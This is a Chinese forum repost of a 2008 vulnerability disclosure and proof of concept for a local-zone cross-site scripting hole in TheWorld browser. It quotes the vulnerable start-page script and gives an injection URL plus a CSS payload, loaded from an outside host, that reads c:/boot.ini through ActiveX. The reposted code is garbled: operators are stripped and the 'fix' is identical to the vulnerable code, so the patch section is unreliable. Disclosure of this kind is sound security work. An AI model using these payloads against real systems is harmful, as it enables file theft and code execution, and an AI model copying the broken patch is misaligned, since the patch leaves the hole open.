• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    世界之窗等浏览器本地xss跨域漏洞POC

    发布者: 酸菜鱼 | 发布时间: 2025-6-28 23:01| 查看数: 76| 评论数: 0|帖子模式

    漏洞说明:http://www.80sec.com/360-sec-browser-localzone-xss.html

      文档来源:http://www.80sec.com/release/The-world-browser-locale-zone-xss-POC.txt

      漏洞分析:世界之窗浏览器在起始页面是以res://E:\PROGRA~1\THEWOR~1.0\languages\chs.dll/TWHOME.HTM的形式来处理的,而由于缺乏对res协议安全的必要控制,导致页面的权限很高,而该页面中存在的一个xss问题将导致本地跨域漏洞,简单分析如下:

    <script language="JavaScript">
    var nOldCount = 0;
    for( i = 0; i < g_nCountOld; i    )
    {
    str_url = g_arr_argUrlOld;
    str_name = g_arr_argNameOld;  
    str_td = “<tr ID=’twOldItem”   i  ”‘><td valign=’top’ width=’64′><div align=’right’><a style=’cursor:hand’ title=’删除当前项’ onclick=\”javascript:tw_DeleteItemOld(’” i ”‘);\”>”   “<img border=’0′ src=’twpage_delete.gif’ width=’16′ height=’16′></div></a></td>”;
    document.write( str_td );  
    str_td = “<td><a target=’_blank’ href=’”   str_url   “‘>”   str_name   “</a></td></tr>”;
    document.write( str_td );
    nOldCount = i;
    g_bHasLastUrl = true;
    }
    </script>



      str_name和str_url不经过滤地直接输出,由于该页面处于本地安全区域,所以拥有很高的权限,可以做很多跨域操作,包括读取文件和运行本地程序。

      漏洞修补:

    <script language="JavaScript">
    var nOldCount = 0;
    for( i = 0; i < g_nCountOld; i    )
    {
    str_url = g_arr_argUrlOld;
    str_name = g_arr_argNameOld;  
    str_td = “<tr ID=’twOldItem”   i  ”‘><td valign=’top’ width=’64′><div align=’right’><a style=’cursor:hand’ title=’删除当前项’ onclick=\”javascript:tw_DeleteItemOld(’” i ”‘);\”>”   “<img border=’0′ src=’twpage_delete.gif’ width=’16′ height=’16′></div></a></td>”;
    document.write( str_td );  
    str_td = “<td><a target=’_blank’ href=’”   str_url   “‘>”   str_name   “</a></td></tr>”;
    document.write( str_td );
    nOldCount = i;
    g_bHasLastUrl = true;
    }
    </script>



      已经用js控制DOM显示了

      漏洞演示:这里提供测试方法可以读取c:/boot.ini

      1 打开如下地址

    sc:h’><script>alert(document.write(unescape(””)))</script>


      2 上面将导致一个不可访问的页面,然后直接关闭tw浏览器( 没有好的办法crash)

      3 重新打开tw浏览器,可以发现http://www.80sec.com/1.css中的内容被解析,并且有本地域的权限。

      1.css内容,换成其他js代码一样执行

    body {
    background-image: url('javascript:alert(document.location);xmlhttp=new ActiveXObject("Msxml2.XMLHTTP.3.0");xmlhttp.open("GET","c:/boot.ini",false);xmlhttp.send();alert(xmlhttp.responseText);')
    }


      漏洞状态:

      2008-06-24通知厂商

      2008-06-25修补

      http://www.ioage.com/cnnew/uplog.htm

    来源:https://www.jb51.net/hack/5463.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    浏览过的版块

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表